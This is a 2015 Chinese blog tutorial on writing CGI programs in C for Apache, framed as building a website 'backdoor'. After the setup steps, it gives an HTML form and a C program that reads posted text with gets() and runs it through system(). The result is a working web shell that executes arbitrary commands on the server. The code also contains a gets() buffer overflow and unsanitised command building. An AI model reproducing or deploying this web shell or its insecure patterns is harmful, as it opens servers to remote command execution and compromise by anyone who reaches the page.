c/c++----网站及其后门(CGI应用程序)

C/C++学习到这儿,结合自己曾经学过的javasweb知识,现在让我们来看看,如何做一个CGI程序吧!

首先了解一下啥子叫CGI  :CGI全称是“公共网关接口”(Common Gateway Interface),HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序须运行在网络服务器上。    ----来自百度百科

1.  首先,我们需要 Apache server2.0(学习web,应该必须知道这个的,嘻嘻),安装好该软件之后,也许会出现很多的问题,导致打不开什么的。喵了个咪的,博主本人曾经也是搞了老半天,不过最后,还是搞定了!

(1). 其实主要情况,我遇到就两种,第一种,就是我们为了节约开机时间,将IIS关闭了,或者有些侠客直接将它卸载了! 所以导致打不开!  

面对这种问题,下一个就好了!  Apache server2.0 需要 IIS 配合。 

(2). 第二种就是80端口被占用了,这是最容易发生的情况没有之一。  解决的方法有很多,但是个人比较喜欢这样来搞。

cmd --》 net -ano   --->查看那些占用了80端口(一般是浏览器什么的居多) 几下他们的  PID ,然后在进程管理哪儿关闭就好了!

上面的Apache server 运行起来之后,就在浏览器中 敲入 localhost ,会显示一个

然后修改一个,http.cof文件   

找到俩个位置:

第一个位置: #  AddHandler cgi-script .cgi   将这个语句的前面#注释符去掉

第二个位置: 

<Directory "D:/Program Files/Apache Software Foundation/Apache2.2/cgi-bin">

AllowOverride None

Options None    -----将这个位置替换为:    Options Indexes ExecCGI

Order allow,deny

Allow from all

</Directory>

这两个位置配置好之后。就可以用C/C++编程了!

第一步:我们编写一个这样的文件

1 #include<stdio.h>

2 int main(int args ,char * argv []) {

3   

4     printf("Content-type:text/html\n\n");

5     printf("hello world ! 我是cgi ");

6     getchar();

7   return 0;

8 }

编译,生成一个这样的 hello.exe文件、生成之后,我们将hell.exe的属性改为 hello.cgi

然后将其放置到,自己安装的Apache server2.0文件中的cgi-bin文件下

在浏览器中,再输入,localhost/cgi-bin/hello.cgi  就可以看到这样的画面

2. 那么说了这么多,我们又该用c/c++写一个cgi来做后台,在背后来操作这个数据呢! 

首先,我们需要写一个html,做个web的,对于这些当然,是再easy不过了! 为了节约时间,就写一个简陋点的html吧!!

1 <html>

2 <head>

3   <title>后台</title>

4 </head>

6 <body>

7             <h1> 后台界面</h1>

8  <form action="http://localhost/cgi-bin/gxjun.cgi" method="post" id=CGI >

9   

10   请输入命令cmd: <input  type="text"  name="textlist"     /><br><br>  

11   <input  type="submit"    /><br>

12  </form>

13  <hr>

14 <body>

15 </html>

当然,这个当我们在做web的时候,这个是可以内嵌到,我们的项目中的!在于你将这个jsp放到哪个地儿啦!

最后就是重点了! 就像我上面写的cgi一样! 写一个下面这样的代码:

1 #define  _CRT_SECURE_NO_WARNINGS

2 #include<stdio.h>

3 #include<stdlib.h>

4 //#include<stdexcept>

5 #include<windows.h>

7 //以调用System为举例

8 void func(char ps []) {

9     // ps 为cmd命令

10     char *pl = strchr(ps,'=');  //pl指向当前的位置

11     if(pl!=NULL)   ps = ps + (pl-ps+1);

12      printf("命令cmd = %s\n", ps);

13     char cmd[256] = {'\0'};

14     char  filename[]  = "Gxjun.txt";   //暂定放置于当前目录。

15     sprintf(cmd,"%s > %s ",ps,filename);  //将ps的内容写入cmd中

16     //生成了一条指令

17     //无论是否执行成功,都会生成一个Gxjun.txt文件

18     FILE *fp = NULL;

19     int tag=system(cmd);  

20     if (tag == 1) {

21         printf("命令格式错误!,请重新输入: ");

22         goto loop;

23     }

24     if ((fp = fopen(filename, "r")) == NULL) {

25         printf("没有发现文件!");

26         goto loop ;

27      }

28 

29      while (!feof(fp)) {

30          char str=fgetc(fp);

31           if (str == '\n') printf("<br><br>\n\n");

32           else if (str == ' ')printf(" ");

33           else

34               printf("%c",str);

35      }

36 

37  loop:

38      if (fp != NULL){

39          fclose(fp);

40          //并删除备份的文件

41          system("del Gxjun.txt");

42      }

43      return ;

44 }

45 

46 

47 int main(int args ,char * argv []) {

48   

49     printf("Content-type:text/html\n\n");

50     //打印环境变量

51     printf("   %s<br><br>", getenv("QUERY_STRING"));

52     char szPost[256] = {'\0'};

53     gets(szPost);  //获取输入    

54     if ( strlen(szPost) < 1 )

55         strcpy( szPost , "ipconfig" );

56     func(szPost);

57     getchar();

58   return 0;

59 }

 

posted @ 2015-03-26 11:20  点石成金dscj  阅读(557)  评论(0编辑  收藏  举报